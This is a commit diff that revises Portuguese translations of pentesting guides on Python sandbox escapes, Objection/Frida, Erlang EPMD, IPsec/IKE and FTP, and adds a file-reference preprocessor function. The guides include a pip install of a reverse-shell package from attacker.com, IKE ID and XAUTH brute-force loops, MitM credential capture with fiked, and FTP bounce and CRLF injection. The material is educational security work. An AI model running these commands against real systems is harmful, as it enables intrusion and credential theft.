Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

2025-10-10 18:36:50 +00:00 · 2025-01-05 16:13:09 +00:00 · 2025-01-05 16:13:09 +00:00 · f973c107d0
commit f973c107d0
parent 404d8676b3
18 changed files with 282 additions and 222 deletions
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@ -1,4 +1,5 @@
 import json
+import os
 import sys
 import re
 import logging
@ -68,6 +69,33 @@ def ref(matchobj):

    return result

+def files(matchobj):
+    logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
+    href =  matchobj.groups(0)[0].strip()
+    title = ""
+
+    try:
+        for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
+            if href in files:
+                title = href
+                logger.debug(f'File search result: {os.path.join(root, href)}')
+        
+    except Exception as e:
+        logger.debug(e)
+        logger.debug(f'Error searching file: {href}')
+        print(f'Error searching file: {href}')
+        sys.exit(1)
+
+        if title=="":
+            logger.debug(f'Error searching file: {href}')
+            print(f'Error searching file: {href}')
+            sys.exit(1)
+
+    template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
+
+    result = template
+
+    return result

 def add_read_time(content):
    regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
        current_chapter = chapter
        regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
        new_content = re.sub(regex, ref, chapter['content'])
+        regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
+        new_content = re.sub(regex, files, chapter['content'])
        new_content = add_read_time(new_content)
        chapter['content'] = new_content

--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -39,16 +39,15 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox python e para **escrever algum código** que você poderia **executar** para **burlar** o sandbox.
+Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox python e para **escrever algum código** que você poderia **executar** para **contornar** o sandbox.

-> [!CAUTION]
-> A função **input()** do Python2 permite executar código python antes que o programa falhe.
+> [!CAUTION] > A função **input()** do **Python2** permite executar código python antes que o programa falhe.

 O Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando imprimirá de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass do sandbox pickle com os pacotes python instalados por padrão
+## Contornar o sandbox do pickle com os pacotes python instalados por padrão

 ### Pacotes padrão

@ -80,7 +79,9 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
 Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o reverse shell**:

-{% file src="../../../images/Reverse.tar (1).gz" %}
+{{#file}}
+Reverse.tar (1).gz
+{{#endfile}}

 > [!NOTE]
 > Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado para que, quando você sair do reverse shell, o restante da instalação falhe, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
@ -177,7 +178,7 @@ class _:pass
 ```
 ### RCE criando objetos e sobrecarga

-Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você poderia **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
+Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.

 #### RCE com classes personalizadas

@ -501,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Além disso, se você acha que **outras bibliotecas** podem **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das possíveis bibliotecas:
+Além disso, se você acha que **outras bibliotecas** podem **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das bibliotecas possíveis:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -537,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Pesquisa Recursiva de Builtins, Globals...

 > [!WARNING]
-> Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outra coisa**, apenas use este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
+> Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer coisa** apenas use este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
 ```python
 import os, sys # Import these to find more gadgets

@ -659,7 +660,7 @@ Você pode verificar a saída deste script nesta página:
 https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
 {{#endref}}

-## Python Format String
+## String de Formato Python

 Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
 ```python
@ -701,7 +702,7 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Mais exemplos** sobre **exemplos de** **string** **de formato** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
+**Mais exemplos** sobre **formato** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
 > Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**:
@ -772,7 +773,7 @@ O desafio na verdade explora outra vulnerabilidade no servidor que permite criar
 ## Dissecando Objetos Python

 > [!NOTE]
-> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

 Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** reside e você precisa ver os **internos** da **função** para extraí-la.

@ -796,7 +797,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` e `func_globals` (Mesma coisa) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:
+`__globals__` e `func_globals`(Mesma) Obtém o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seu conteúdo declarado:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -921,7 +922,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Compilando Python

-Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que não pode executar** mas você **precisa** **executá-la**.\
+Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\
 Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
 ```python
 def get_flag(some_input):
@ -1054,5 +1055,4 @@ será contornado
 - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
 - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)

-
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
@ -2,15 +2,13 @@

 {{#include ../../../banners/hacktricks-training.md}}

-
-
 ## **Introdução**

 **objection - Exploração Móvel em Tempo de Execução**

 [**Objection**](https://github.com/sensepost/objection) é um kit de ferramentas de exploração móvel em tempo de execução, alimentado por [Frida](https://www.frida.re). Foi criado com o objetivo de ajudar a avaliar aplicativos móveis e sua postura de segurança sem a necessidade de um dispositivo móvel com jailbreak ou root.

-**Nota:** Isso não é uma forma de bypass de jailbreak / root. Ao usar `objection`, você ainda está limitado por todas as restrições impostas pelo sandbox aplicável que está enfrentando.
+**Nota:** Isso não é uma forma de bypass de jailbreak / root. Ao usar `objection`, você ainda está limitado por todas as restrições impostas pelo sandbox aplicável que você está enfrentando.

 ### Resumo

@ -20,9 +18,11 @@ O **objetivo** do **objection** é permitir que o usuário chame as **principais

 Para este tutorial, vou usar o APK que você pode baixar aqui:

-{% file src="../../../images/app-release.zip" %}
+{{#file}}
+app-release.zip
+{{#endfile}}

-Ou do seu [repositório original](https://github.com/asvid/FridaApp) (baixar app-release.apk)
+Ou do seu [repositório original](https://github.com/asvid/FridaApp) (baixe app-release.apk)

 ### Instalação
 ```bash
@ -39,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore
 ```
 ### Ações Básicas

-Nem todos os comandos possíveis do objections serão listados neste tutorial, apenas os que eu achei mais úteis.
+Nem todos os comandos possíveis do objection serão listados neste tutorial, apenas os que eu achei mais úteis.

 #### Ambiente

@ -49,7 +49,7 @@ env
 ```
 ![](<../../../images/image (220).png>)

-#### Informações do Frida
+#### Informações sobre Frida
 ```bash
 frida
 ```
@ -68,7 +68,7 @@ import <local path frida-script>
 ```bash
 android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
 ```
-#### Detecção de root
+#### Detecção de Root
 ```bash
 android root disable  #Attempts to disable root detection on Android devices.
 android root simulate #Attempts to simulate a rooted Android environment.
@ -84,9 +84,9 @@ android ui FLAG_SECURE false  #This may enable you to take screenshots using the
 ```
 ### Análise estática feita dinâmica

-Em uma aplicação real, devemos conhecer todas as informações descobertas nesta parte antes de usar objection graças à **análise estática**. De qualquer forma, dessa maneira você pode ver **algo novo**, pois aqui você terá apenas uma lista completa de classes, métodos e objetos exportados.
+Em uma aplicação real, devemos conhecer todas as informações descobertas nesta parte antes de usar objection graças à **análise estática**. De qualquer forma, dessa forma você pode ver **algo novo**, pois aqui você terá apenas uma lista completa de classes, métodos e objetos exportados.

-Isso também é útil se, de alguma forma, você estiver **incapaz de obter algum código-fonte legível** do aplicativo.
+Isso também é útil se, de alguma forma, você **não conseguir obter algum código-fonte legível** do aplicativo.

 #### Listar atividades, receptores e serviços
 ```bash
@ -121,7 +121,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity
 ```
 ![](<../../../images/image (929).png>)

-#### Liste os Métodos declarados de uma classe com seus parâmetros
+#### Listar métodos declarados de uma classe com seus parâmetros

 Vamos descobrir quais parâmetros os métodos da classe precisam:
 ```bash
@ -135,7 +135,7 @@ Você também pode listar todas as classes que foram carregadas dentro da aplica
 ```bash
 android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
 ```
-Isso é muito útil se você quiser **hook a method de uma classe e você só conhece o nome da classe**. Você poderia usar essa função para **procurar qual módulo possui a classe** e então hook seu método.
+Isso é muito útil se você quiser **hook a method de uma classe e você só souber o nome da classe**. Você poderia usar essa função para **procurar qual módulo possui a classe** e então hook seu método.

 ### Hooking sendo fácil

@ -147,9 +147,9 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
 ```
 ![](<../../../images/image (1086).png>)

-#### Hooking (observando) uma classe inteira
+#### Hooking (assistindo) uma classe inteira

-Na verdade, acho todos os métodos da classe MainActivity muito interessantes, vamos **hookar todos**. Cuidado, isso pode **crashar** uma aplicação.
+Na verdade, eu acho todos os métodos da classe MainActivity realmente interessantes, vamos **hook them all**. Tenha cuidado, isso pode **crash** uma aplicação.
 ```bash
 android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
 ```
@ -159,7 +159,7 @@ Se você brincar com o aplicativo enquanto a classe está conectada, você verá

 #### Mudando o valor de retorno booleano de uma função

-A partir do código-fonte, você pode ver que a função _checkPin_ recebe um _String_ como argumento e retorna um _boolean_. Vamos fazer a função **sempre retornar true**:
+Do código-fonte, você pode ver que a função _checkPin_ recebe um _String_ como argumento e retorna um _boolean_. Vamos fazer a função **sempre retornar true**:

 ![](<../../../images/image (883).png>)

@ -169,7 +169,7 @@ Agora, se você escrever qualquer coisa na caixa de texto para o código PIN, vo

 ### Instâncias de classe

-Pesquise e imprima **instâncias ativas de uma classe Java específica**, especificada por um nome de classe totalmente qualificado. O resultado é uma tentativa de obter um valor de string para uma objeção descoberta que normalmente **contém valores de propriedade para o objeto**.
+Pesquise e imprima **instâncias ativas de uma classe Java específica**, especificada por um nome de classe totalmente qualificado. A saída é o resultado de uma tentativa de obter um valor de string para uma objeção descoberta, que normalmente **contém valores de propriedade para o objeto**.
 ```
 android heap print_instances <class>
 ```
@ -185,7 +185,7 @@ android intent launch_service
 ```
 ### Memória

-#### Despejo
+#### Dump
 ```bash
 memory dump all <local destination> #Dump all memory
 memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
@ -196,17 +196,17 @@ memory list modules
 ```
 ![](<../../../images/image (286).png>)

-Na parte inferior da lista, você pode ver o frida:
+Na parte inferior da lista, você pode ver frida:

 ![](<../../../images/image (1097).png>)

-Vamos verificar o que o frida está exportando:
+Vamos verificar o que frida está exportando:

 ![](<../../../images/image (298).png>)

-#### Pesquisar/Escrever
+#### Buscar/Escrever

-Você também pode pesquisar e escrever na memória com objection:
+Você também pode buscar e escrever na memória com objection:
 ```bash
 memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
 memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
@ -224,3 +224,5 @@ exit
 - Os métodos de hooking às vezes fazem o aplicativo travar (isso também é por causa do Frida).
 - Você não pode usar as instâncias das classes para chamar funções da instância. E você não pode criar novas instâncias de classes e usá-las para chamar funções.
 - Não há um atalho (como o para sslpinnin) para hookear todos os métodos de criptografia comuns usados pelo aplicativo para ver texto cifrado, texto simples, chaves, IVs e algoritmos usados.
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
+++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
@ -55,9 +55,11 @@ At last, we can start an erlang shell on the remote system.
 "uid=0(root) gid=0(root) groups=0(root)\n"
 ```
 Mais informações em [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
-O autor também compartilha um programa para bruteforçar o cookie:
+O autor também compartilha um programa para fazer brute force no cookie:

-{% file src="../images/epmd_bf-0.1.tar.bz2" %}
+{{#file}}
+epmd_bf-0.1.tar.bz2
+{{#endfile}}

 ## Conexão Local

--- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md
+++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md
@ -70,10 +70,10 @@ Você também pode tentar forçar transformações com [**ikeforce**](https://gi
 ```
 ![](<../images/image (617).png>)

-Em **DH Group: 14 = MODP de 2048 bits** e **15 = 3072 bits**\
+Em **DH Group: 14 = 2048-bit MODP** e **15 = 3072-bit**\
 **2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**

-A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são fortes o suficiente. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para decifrar os códigos rapidamente. Embora custe muito dinheiro para configurar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiverem usando um grupo que não é forte (como 1.024 bits ou menor).
+A Cisco indica evitar o uso dos grupos DH 1 e 2 porque eles não são fortes o suficiente. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para decifrar os códigos rapidamente. Embora custe muito dinheiro configurar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiverem usando um grupo que não é forte (como 1.024 bits ou menor).

 ### Fingerprinting de servidor

@ -108,31 +108,33 @@ Isso também pode ser alcançado com o script nmap _**ike-version**_
 Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o modo agressivo e o ID correto (nome do grupo). Provavelmente, você não saberá o nome do grupo válido, então terá que forçá-lo.\
 Para isso, eu recomendaria 2 métodos:

-### Forçando o ID com ike-scan
+### Forçando ID com ike-scan

-Primeiro, tente fazer uma solicitação com um ID falso tentando coletar o hash ("-P"):
+Primeiramente, tente fazer uma solicitação com um ID falso tentando coletar o hash ("-P"):
 ```bash
 ike-scan -P -M -A -n fakeID <IP>
 ```
-Se **nenhum hash é retornado**, então provavelmente este método de força bruta funcionará. **Se algum hash é retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável** para forçar o ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas):
+Se **nenhum hash for retornado**, então provavelmente este método de força bruta funcionará. **Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável** para forçar o ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas):

 ![](<../images/image (917).png>)

-Mas se, como eu disse, nenhum hash é retornado, então você deve tentar forçar nomes de grupos comuns usando ike-scan.
+Mas se, como eu disse, nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando ike-scan.

 Este script **tentará forçar possíveis IDs** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).

-Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas (você deve tentar todas até que uma delas funcione corretamente).
+Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).

-Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o que está em seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupos comuns para forçá-los:
+Você pode usar o[dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o que está no seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupos comuns para forçá-los:
 ```bash
 while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
 ```
-{% file src="../images/vpnIDs.txt" %}
+{{#file}}
+vpnIDs.txt
+{{#endfile}}

 ### Bruteforçando ID com Iker

-[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) também usa **ike-scan** para bruteforçar possíveis nomes de grupo. Ele segue seu próprio método para **encontrar um ID válido com base na saída do ike-scan**.
+[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) também usa **ike-scan** para bruteforçar possíveis nomes de grupos. Ele segue seu próprio método para **encontrar um ID válido com base na saída do ike-scan**.

 ### Bruteforçando ID com ikeforce

@ -140,11 +142,11 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>

 Por padrão, **ikeforce** enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada.

- O **primeiro método** é bruteforçar os nomes dos grupos **procurando** pela informação **Dead Peer Detection DPD** dos sistemas Cisco (essa informação é apenas respondida pelo servidor se o nome do grupo estiver correto).
+- O **primeiro método** é bruteforçar os nomes dos grupos **procurando** pela informação **Dead Peer Detection DPD** de sistemas Cisco (essa informação é apenas respondida pelo servidor se o nome do grupo estiver correto).
 - O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
 - O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a ID incorreto**.
 - Finalmente, se o servidor não responder nada às verificações, **ikeforce** tentará bruteforçar o servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
-Obviamente, o objetivo de bruteforçar o ID é obter o **PSK** quando você tem um ID válido. Então, com o **ID** e o **PSK** você terá que bruteforçar o XAUTH (se estiver habilitado).
+Obviamente, o objetivo de bruteforçar o ID é obter o **PSK** quando você tiver um ID válido. Então, com o **ID** e o **PSK** você terá que bruteforçar o XAUTH (se estiver habilitado).

 Se você descobriu uma transformação específica, adicione-a no comando ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas (você deve tentar todas até que uma delas funcione corretamente).
 ```bash
@ -161,7 +163,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

 ![](<../images/image (891).png>)

-## Capturando e quebrando o hash
+## Capturando & quebrando o hash

 Finalmente, se você encontrou uma **transformação válida** e o **nome do grupo** e se o **modo agressivo é permitido**, então você pode facilmente capturar o hash quebrável:
 ```bash
@ -175,25 +177,25 @@ psk-crack -d <Wordlist_path> psk.txt
 ```
 ## **XAuth**

-**Modo agressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente empregado para fins de **autenticação em grupo**. Este método é aumentado por **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Tal autenticação normalmente utiliza serviços como **Microsoft Active Directory**, **RADIUS** ou sistemas comparáveis.
+**O modo agressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente empregado para fins de **autenticação em grupo**. Este método é aumentado por **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Tal autenticação normalmente utiliza serviços como **Microsoft Active Directory**, **RADIUS** ou sistemas comparáveis.

 Ao transitar para **IKEv2**, uma mudança notável é observada onde **EAP (Protocolo de Autenticação Extensível)** é utilizado em vez de **XAuth** para o propósito de autenticar usuários. Esta mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação segura.

-### Captura de credenciais MitM na rede local
+### Captura de credenciais em MitM de rede local

 Assim, você pode capturar os dados do login usando _fiked_ e ver se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para `fiked` para sniffing, o que pode ser feito com a ajuda de spoofing ARP, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked atuará como um ponto final de VPN e capturará as credenciais XAuth:
 ```bash
 fiked -g <IP> -k testgroup:secretkey -l output.txt -d
 ```
-Além disso, usando IPSec, tente fazer um ataque MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em claro.
+Além disso, usando IPSec, tente realizar um ataque MitM e bloquear todo o tráfego para a porta 500; se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em claro.

 ### Forçando a senha e o nome de usuário XAUTH com ikeforce

-Para forçar a senha do **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuário e uma lista de senhas:
+Para forçar a senha do **XAUTH** (quando você conhece um nome de grupo **id** válido e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuário e uma lista de senhas:
 ```bash
 ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
 ```
-Dessa forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.
+Dessa forma, ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.

 Se você encontrar uma ou várias transformações válidas, basta usá-las como nos passos anteriores.

--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@ -14,11 +14,11 @@ PORT   STATE SERVICE
 ```
 ### Conexões Ativas e Passivas

-No **FTP Ativo**, o **cliente** FTP primeiro **inicia** a **conexão** de controle de sua porta N para a porta de comando do servidor FTP – porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o Servidor FTP. O **Servidor** FTP então **inicia** a **conexão** de dados, de **sua porta M para a porta N+1** do Cliente FTP.
+No **FTP Ativo**, o **cliente** FTP primeiro **inicia** a **conexão** de controle de sua porta N para a porta de comando do servidor FTP – porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o servidor FTP. O **Servidor** FTP então **inicia** a **conexão** de dados, de **sua porta M para a porta N+1** do cliente FTP.

-Mas, se o Cliente FTP tiver um firewall configurado que controla as conexões de dados de entrada do exterior, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
+Mas, se o cliente FTP tiver um firewall configurado que controla as conexões de dados de entrada do exterior, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.

-No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do Servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão** de dados de **sua porta P para a porta M** do Servidor FTP.
+No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão** de dados de **sua porta P para a porta M** do servidor FTP.

 Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)

@ -105,7 +105,7 @@ Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https:/

 ### Automatizado

-O login anônimo e as verificações de FTP de bounce são realizados por padrão pelo nmap com a opção **-sC** ou:
+Verificações de login anônimo e de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
 ```bash
 nmap --script ftp-* -p 21 <ip>
 ```
@ -115,7 +115,7 @@ Você pode se conectar a um servidor FTP usando um navegador (como o Firefox) us
 ```bash
 ftp://anonymous:anonymous@10.10.10.98
 ```
-Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes codificados em URL duplo `%0d%0a` (em codificação de URL dupla, isso é `%250d%250a`) e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http).
+Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes de dupla codificação de URL `%0d%0a` (na dupla codificação de URL, isso é `%250d%250a`) e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http).

 ## Baixar todos os arquivos do FTP
 ```bash
@ -135,11 +135,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
 - **`EPRT |2|127.0.0.1|80|`** Isso indicará ao servidor FTP para estabelecer uma conexão TCP (_indicado por "2"_) com o IP 127.0.0.1 na porta 80. Este comando **suporta IPv6**.
 - **`LIST`** Isso enviará a lista de arquivos na pasta atual
 - **`LIST -R`** Lista recursivamente (se permitido pelo servidor)
- **`APPE /path/something.txt`** Isso indicará ao FTP para armazenar os dados recebidos de uma **conexão passiva** ou de uma conexão **PORT/EPRT** em um arquivo. Se o nome do arquivo existir, ele irá anexar os dados.
+- **`APPE /path/something.txt`** Isso indicará ao FTP para armazenar os dados recebidos de uma conexão **passiva** ou de uma conexão **PORT/EPRT** em um arquivo. Se o nome do arquivo existir, os dados serão adicionados.
 - **`STOR /path/something.txt`** Como `APPE`, mas irá sobrescrever os arquivos
- **`STOU /path/something.txt`** Como `APPE`, mas se existir não fará nada.
+- **`STOU /path/something.txt`** Como `APPE`, mas se existir, não fará nada.
 - **`RETR /path/to/file`** Uma conexão passiva ou de porta deve ser estabelecida. Então, o servidor FTP enviará o arquivo indicado através dessa conexão
- **`REST 6`** Isso indicará ao servidor que na próxima vez que enviar algo usando `RETR` deve começar no 6º byte.
+- **`REST 6`** Isso indicará ao servidor que na próxima vez que enviar algo usando `RETR`, deve começar no 6º byte.
 - **`TYPE i`** Define a transferência como binária
 - **`PASV`** Isso abrirá uma conexão passiva e indicará ao usuário onde ele pode se conectar
 - **`PUT /tmp/file.txt`** Carrega o arquivo indicado para o FTP
@ -155,7 +155,7 @@ Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para
 Você também poderia abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **carregar um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-la para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário admin?_) ou até mesmo carregar uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo de um servidor FTP diferente.\
 A teoria é fácil:

-1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar de linha com `0x0d 0x0a`
